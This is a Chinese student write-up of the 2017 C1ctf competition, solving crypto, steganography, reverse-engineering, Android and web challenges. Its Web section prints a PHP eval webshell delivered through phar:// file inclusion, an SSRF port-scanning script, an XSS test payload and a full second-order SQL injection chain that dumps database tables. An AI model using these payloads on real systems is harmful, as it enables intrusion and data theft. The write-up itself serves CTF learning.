2017第三届C1ctf writeup

本来打算划水度过本周,看到CTF忍不住又去刷了一下。隔壁大佬学校校赛,由于某大佬偷懒,于是只好写一份wp了,下面是伪官方wp。

Misc

真的是签到

签到题不得不说好难啊,凯撒密码解密26次,然后提交:)

C1ctf{Th3_qu3stion_i4_e4sy}

你们要的签到题

base64一下

C1ctf{C1sec_1s_greate}

要爆破吗?

看群里有人说加群才能知道,我试了下群号,群昵称,发现密码是C1ctf2017

C1ctf{You_cracked_it}

冬天冷了,织毛衣给你

binwalk –e 了一下,但是没看出来啥,后来想起了曙光大佬隐写视频,里面好像有个foremost可以提文件,又翻了下

流量分析

这题有的wireshark版本导出不全
查看http流量包 导出对象 点击save all 导出结果 xiaoma(22)可以得到这样一个东西(好像其它包里也有,没细看),看到了base64_decode 解码得到

c1ctf{You_find_the_key}

二维码

扫描二维码

A/MNCsRKBVpjAAAAAAAAAAACAAAAQAAAAHMZAAAAZAAAZAEAbAAAWgAAZAIAhAAAWgEAZAEAUygDAAAAaf////9OYwEAAAAFAAAACQAAAEMAAABzzwAAAGQBAH0BAGQCAH0CAGQCAH0DAHhNAHQAAGQDAHQBAHwAAIMBAGQEABiDAgBEXTIAfQQAfAIAdAIAdAMAfAAAfAQAGYMBAHQDAHwAAHwEAGQEABcZgwEAQYMBABd9AgBxLABXfAIAfAAAZAUAGRd9AgB4TwB0AABkAwB0AQB8AgCDAQCDAgBEXTgAfQQAfAMAdAIAdAMAfAIAfAQAGYMBAHQDAHwBAHwEAHQBAHwBAIMBABYZgwEAQYMBABd9AwBxhgBXdAQAagUAfAMAgwEAUygGAAAATnQEAAAAMTIzNHQAAAAAaQAAAABpAQAAAGn/////KAYAAAB0BQAAAHJhbmdldAMAAABsZW50AwAAAGNocnQDAAAAb3JkdAYAAABiYXNlNjR0CQAAAGI2NGVuY29kZSgFAAAAdAQAAABzdHIxdAMAAABrZXl0AwAAAGVuY3QEAAAAZmxhZ3QBAAAAaSgAAAAAKAAAAABzBwAAAG1pc2MucHl0BgAAAGVuY29kZQMAAABzEgAAAAADBgEGAQYBIAEwAQ4BHAE2ASgCAAAAUgYAAABSDQAAACgAAAAAKAAAAAAoAAAAAHMHAAAAbWlzYy5weXQIAAAAPG1vZHVsZT4CAAAAcwIAAAAMAQ==

拿去base64看到py等字眼 http://tomeko.net/online_tools/base64.php?lang=en
拿去转了一下hex编码

03F30D0AC44A055A630000000000000000020000004000000073190000006400006401006C00005A00006402008400005A010064010053280300000069FFFFFFFF4E630100000005000000090000004300000073CF0000006401007D01006402007D02006402007D0300784D007400006403007401007C000083010064040018830200445D32007D04007C02007402007403007C00007C0400198301007403007C00007C0400640400171983010041830100177D0200712C00577C02007C000064050019177D0200784F007400006403007401007C0200830100830200445D38007D04007C03007402007403007C02007C0400198301007403007C01007C04007401007C0100830100161983010041830100177D0300718600577404006A05007C03008301005328060000004E74040000003132333474000000006900000000690100000069FFFFFFFF2806000000740500000072616E676574030000006C656E740300000063687274030000006F726474060000006261736536347409000000623634656E636F6465280500000074040000007374723174030000006B65797403000000656E637404000000666C61677401000000692800000000280000000073070000006D6973632E70797406000000656E636F64650300000073120000000003060106010601200130010E011C01360128020000005206000000520D00000028000000002800000000280000000073070000006D6973632E707974080000003C6D6F64756C653E0200000073020000000C01

放到winhex里保存为pyc文件 拿去反编译一下得到

import base64

def encode(str1):
    key = '1234'
    enc = ''
    flag = ''
    for i in range(0, len(str1) - 1):
        enc = enc + chr(ord(str1[i]) ^ ord(str1[i + 1]))
    
    enc = enc + str1[-1]
    for i in range(0, len(enc)):
        flag = flag + chr(ord(enc[i]) ^ ord(key[i % len(key)]))
    
    return base64.b64encode(flag)

写出对应解密脚本

import base64

def encode(str1):
    key = '1234'
    enc = ''
    flag = ''
    for i in range(0, len(str1) - 1):
        enc = enc + chr(ord(str1[i]) ^ ord(str1[i + 1]))
    
    enc = enc + str1[-1]
    #print "enc:",enc
    for i in range(0, len(enc)):
        flag = flag + chr(ord(enc[i]) ^ ord(key[i % len(key)]))
    
    return base64.b64encode(flag)

def decode(str1):
    key = '1234'
    dnc = ''
    flag = ''
    a = base64.b64decode(str1)

    for i in range(0,len(a)):
        dnc = dnc + chr(ord(a[i]) ^ ord(key[i % len(key)]))

    #print "dnc:",dnc
    flag = dnc[-1]
    for i in range(0, len(dnc)-1):
        flag = chr(ord(dnc[-i-2])^ord(flag[0]))+flag
    
    return flag
        
def main():
    print(p)
    print(decode('Q2AkJiwdD29dXm45IDk6MBoEKRgYISQ/Fwg3Jjs2Tg=='))
    
if '__main__'==__name__:
    main()
C1ctf{Th3_3ncrypt_is_very_easy}

Reverse

弱密码

下载下来用IDA打开,F5大法得到 最后得到 好像密码是012345
然后运行也能出flag,不过需要64位版本程序或32位电脑 当i=0时,map1[4]和passwd[0]异或的结果为l0v2[0]

过关斩将

拿到逆向题, 解压之后打开看看,估计是一道验证题 扔到peid 没有壳,再看看有啥算法 嗯base64和md5没啥想法
然后扔到ida
发现有花指令,打开od进行去除
去除花指令就不详细说了,主要是多跟进函数看看有没有函数里的花指令,还有就是跳转注意用flag寄存器去改
扔到ida反编译 这里跟进loc_424500进去 What???
这啥意思?
不过也能猜出来这里是比较口令长度不能超过31,没什么用
根据下面猜测口令前6个是C1CTF{
输入个C1CTF{123} Cmp eax,0x7d ; 此处是判断eax中的值是否为125即}
eax值来自第二个箭头处,这里我标出第一个箭头是我们输入的口令的开头
这样我们知道这个flag一共30位
输入C1CTF{01234567890123456789012} 这里是判断5F的位置即_的位置一共4个_号按照数据窗口比对好就行
C1CTF{01_3456_89_1234_6789012} 这里有个md5值,复制出来放到CMD5查一下,发现能出来 1s
那么C1CTF{01_3456_89_1234_6789012}两个字符的位置不是01就是89
01改成1s试一下过了
C1CTF{1s_3456_89_1234_6789012} 然后来到这里emmmm一万个常量,下个硬件断点看看把 回IDA看看,看不出来再分析这个把emmmm 确实看不懂emmm具体函数没法f5还是回OD把
这回单步过来没下断点,在上一个断点前发现了有意思的东西 这里注意eax里是要处理的数据 这里又给ecx一段数据发现是上一个md5值 相减然后与之前的常量比较
利用给出的常量和md5值进行逆运算得到md5
7ab5e02e9c853d8af31de104fad68447
CMD5查一下是th4t 放到3456试一下过了
C1CTF{1s_th4t_89_1234_6789012}
这回回到ida因为之前看ida的时候发现一个好东西 一看就是个base64,随便找个地方解了得到e4sy
C1CTF{1s_th4t_89_e4sy_6789012} 这里读入一个文件写出一个rar,算法很简单就是两个数循环异或
把原文件头和RAR文件头前两个异或得到s0
C1CTF{1s_th4t_s0_e4sy_6789012}
再输入一遍正确flag打开压缩包 打开又黑框一闪而过
打开cmd 得到最后的flag
验证通过
C1CTF{1s_th4t_s0_e4sy_Cr4CkmE}

Web

hack!hack!hack!

首先查看了一下robots.txt文件 发现有个dropper.php 访问了一下发现是空白页面,直觉告诉我可能是一句话
用菜刀练了一下,密码dropper 进入/tmp目录下载flag.txt 下载下来得到flag
C1ctf{You_Find_the_dropper}

litle sister

这题有个xss,不知道是不是出题人故意的,可以提交

<script>alert('xss')</script>

这题思路就是一个将URL里的内容wget保存成图片到本地服务器,然后呈现到网页上。例如: 然后,提示里面
ip:172.17.0.3
端口:web常见端口 (立马想到80、8080,不会的同学可以百度搜下web常见端口) 然后提交 http:172.17.0.3:8080/flag.txt
此时只得到一张烂图,因为本来是txt被他改成了jpg
需要你保存下载 右键另存为,注意火狐浏览器可能无法保存将格式改成txt 觉得手工麻烦的大佬可以直接用脚本

#!/usr/bin/python
# -*- coding: utf-8 -*-  
import requests
from lxml import etree


url="115.159.49.85:5656" 

a = [80,443,23,21,8080,139,7001,3389,1521,2100]
for i in a :

	id=str(i)

	payload = {'url':'http://172.17.0.3:'+id+'/flag.txt'}

	r = requests.post('http://115.159.49.85:5656', data = payload )

	selector = etree.HTML(r.text)

	content = selector.xpath('/html/body/div[2]/form/fieldset/pre/img/@src')

	content = content[-1]

	content = content[1:]

	imgurl = 'http://115.159.49.85:5656'

	imgurl = imgurl+content

	img = requests.get(imgurl)

	if img.text:
		print '目标端口为%s' %i
		print img.text
		break

C1ctf{S3rf_Find_the_P0Rt}

参考链接:http://www.freebuf.com/articles/web/20407.html

ping也能ping挂

首先是一个命令执行好像做了长度限制,只能用ls,不然可以直接cat到flag 发现you_find_upload.php
进入后点击查看源码 由于服务器关了,这里我不在展示
前面随机码去了,base64解密

/**
 * Created by PhpStorm.
 * User: xnianq
 * Date: 2017/10/19
 * Time: 上午11:24
 */
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>this_is_upload_page</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="">
    <meta name="author" content="">

    <!-- Le styles -->
    <link href="../css/bootstrap.css" rel="stylesheet">
    <style>
        body {
            padding-top: 60px; /* 60px to make the container go all the way to the bottom of the topbar */
        }
    </style>
    <link href="../css/bootstrap-responsive.css" rel="stylesheet">
    <link rel="apple-touch-icon-precomposed" sizes="144x144" href="./ico/apple-touch-icon-144-precomposed.png">
    <link rel="apple-touch-icon-precomposed" sizes="114x114" href="./ico/apple-touch-icon-114-precomposed.png">
    <link rel="apple-touch-icon-precomposed" sizes="72x72" href="./ico/apple-touch-icon-72-precomposed.png">
    <link rel="apple-touch-icon-precomposed" href="./ico/apple-touch-icon-57-precomposed.png">
    <link rel="shortcut icon" href="./ico/favicon.png">
</head>

<body>

<div class="navbar navbar-inverse navbar-fixed-top">
    <div class="navbar-inner">
        <div class="container">
            <button type="button" class="btn btn-navbar" data-toggle="collapse" data-target=".nav-collapse">
                <span class="icon-bar"></span>
                <span class="icon-bar"></span>
                <span class="icon-bar"></span>
            </button>
            <a class="brand" href="#">C1sec工具体验</a>
            <div class="nav-collapse collapse">
                <ul class="nav">
                    <li ><a href="index.php">Home</a></li>
                    <li ><a href="ping.php">ping</a></li>
                    <li ><a href="you_find_upload.php?p=php://filter/convert.base64-encode/resource=you_find_upload">查看源码</a></li>
                </ul>
            </div><!--/.nav-collapse -->
        </div>
    </div>
</div>
<div class="container">
    <h1>少年你还是找到了这里,这才是本次攻击的重点 :)</h1>
    <form action="you_find_upload.php" method="POST" enctype="multipart/form-data">
        <label>Select image to upload:</label>
        <input type="file" name="file">
        <button type="submit" class="btn" name="submit">upload</button>
        <pre>
        <?php
        $type = array('gif','jpg','png');
        mt_srand((time() % rand(1,100000)%rand(1000,9000)));
        echo mt_rand();
        if (isset($_POST['submit'])) {
            $check = getimagesize($_FILES['file']['tmp_name']);
            @$extension = end(explode('.',$_FILES['file']['name']));
            if(in_array($extension,$type)){
                echo 'File is an image - ' . $check['mime'];
                $filename = '/var/www/html/web1/upload/'.mt_rand().'_'.$_FILES['file']['name']; 
                move_uploaded_file($_FILES['file']['tmp_name'], $filename);
                echo "<br>\n";
            } else {
                echo "File is not an image";
            }
        }
        if(isset($_GET['p'])){
            if(@preg_match("/\.\.\//",$_GET['p'])){
                echo "你这个孩子,too young too simple";
            }
            else{
               @include $_GET['p'].".php";
            }
        }
        ?>
    </pre>
    </form>
</div> <!-- /container -->

<!-- Le javascript
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->
<script src="../js/jquery-3.2.1.min.js"></script>

</body>
</html>

上传做了验证,而且传上去后文件名用随机数种子做了修改
参考链接:http://bobao.360.cn/ctf/detail/164.html
制作一个压缩包名字修改为1.gif里面放上a.php a.php

<?php eval($_GET["cmd"])?>

上传之后得到随机数,用php_mt_seed工具 然后恢复的数字加下划线加文件名就是你的上传的文件
例如:123456_1.gif
然后用/you_find_upload.php?p=phar://upload/123456_1.gif/a来include,然后列目录

http://206.253.165.16/web1/you_find_upload.php?%20cmd=print_r(scandir(%27/var/www/html%27));&p=phar://upload/2138050946_1.gif/a

scandir是php的一个函数具体自己百度吧
%27是单引号的URL编码
看到大佬们上传的木马,萌新表示害怕.jpg flag位置/etc/flag.txt 发现flag.txt
查了一下file函数是用来查看文件的

http://206.253.165.16/web1/you_find_upload.php?cmd=print_r(file(%27/etc/flag.txt%27));&p=phar://upload/123456_1.gif/a
c1ctf{command_injection_and_file_include}

嘤嘤嘤

这题的考察点主要在于二次注入
参考链接:https://www.cnblogs.com/ichunqiu/p/5852330.html
我理解的好像就是你在注入时候写的sql语句他会在你的单引号前加反引号注释,但是真正存入数据库时候并影响你的注入语句执行。
这里给了一个注册页面一个登录页面,注册页面是进行注入攻击用的,登录页面是进行查询自己的语句是否执行的。
以下注入语句均是我的登录帐号,密码随意构造

1111\’

显示count:0,用户名虽然显示是1111\\’,但是实际执行的是1111\’ 下面放我的语句(也就是我注册的帐号),由于服务器停了,我就先把语句写完,然后把中间 我存下来的图片放出来
参考链接: https://www.cnblogs.com/pojun/p/6827772.html

admin’(单引号前面的可以任意填写,这里我拿admin做为例子)
admin’ order by 4#(此时点机小姐姐计数那个没反应)
admin’ order by 5#(此时点击计数+1,于是推断字段为4)
admin’ union select 1,2,3,database()#
admin’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=’ctf’#
admin’ union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=’hahaha_flag’#
admin' union select 1,2,3,group_concat(flag) from ctf.hahaha_flag#

flag{th3_sqlinject_Is_fun}

crypto

the baby rsa

这题有点取巧,因为猜了一下
首先大数并不能分解,估计是个提示,也是一个坑。
然后就是e=1了,看来下rsa原理后,虽然没看太懂,但是我大致猜了一下e等于1话明文就和密文相等了,不懂的自行百度rsa原理,尤其是那个解密公式

c=0x63316374667b546869735f69735f7468655f73696d706c655f61747461636b7d

这串密文应该是十六进制,转换成字符串类型直接出结果

c1ctf{This_is_the_simple_attack}

这样的加密你会不?

这样的加密我不会
维吉亚密码,不清楚的问度娘 四位一组,可以自己算也可以,也可以工具解密
然后密文对应的也是四位一组
nftz->flag
剩下的自己推

flag{youneedmoredecrypt}

Mobile

被挡住的flag

用apktool 进行反编译 命令

apktool_2.2.1.jar –f com.c1ctf.apk0.apk

后面的c1ctf是不存在的,这里偷懒用张老图
生成的文件用notepad++查找flag

C1ctf{Th1s_fl4g_1s_s0_ fun~}

简单异或

首先,不会Java的菜鸡对这题打出GG
经过各位大佬的指导,我现在把具体做题过程复现一遍
首先掏出大杀器IDA,进入x86的这个lib.so里面 查找字符串 发现了几组数据 双击进入第一项发现,第一个第二个是一起的只不过被截断了 逆向最简单的就是异或。因为其他的可能不可逆,然后你就需要寻找等长的字符串,然后我看到了 但是此时还没有结束,需要f5大法查看伪代码,按esc退出,然后按f5查看伪代码,不过要首先选中这个名字很长的动态链接库 java层调用了这个函数,做安卓静态调试时候也有一部分是要靠猜的,因为安卓开发生成的是其他平台的so。。所以是交叉编译。。交叉编译出来结果经常会很乱。
按f5查看源代码后得到 此时重点是上面箭头所指的地方,在数字上按r将它转换成字符型 得到ssss 得到这些信息就可以开始写脚本了,大致思路就是将获得到的三个字符进行异或 下面放出脚本
其中0x73,代表字符串s转成16进制表示0x73

a=[0x44,0x2A,0x79,0x74,0x4A,0x61,0x54,0x44,0x6E,0x68,0x49,0x4D,0x76,0x72,0x78,0x43,0x6E,0x7F,0x45,0x63,0x5E,0x7B,0x63,0x47,0x58,0x72,0x65,0x73,0x6B,0x79,0x55,0x49,0x79,0x65,0x73,0x2F]
b=[0x74,0x68,0x69,0x73,0x5F,0x69,0x73,0x5F,0x74,0x68,0x65,0x5F,0x6B,0x65,0x79,0x5F,0x74,0x68,0x69,0x73,0x5F,0x69,0x73,0x5F,0x74,0x68,0x65,0x5F,0x6B,0x65,0x79,0x5F,0x6B,0x65,0x79,0x21]
c=[0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73] 
flag = ""
for i in range(len(a)):
    flag=chr(a[i]^b[i]^c[i])+flag
print flag[::-1]

最后感谢大佬们对我的指导!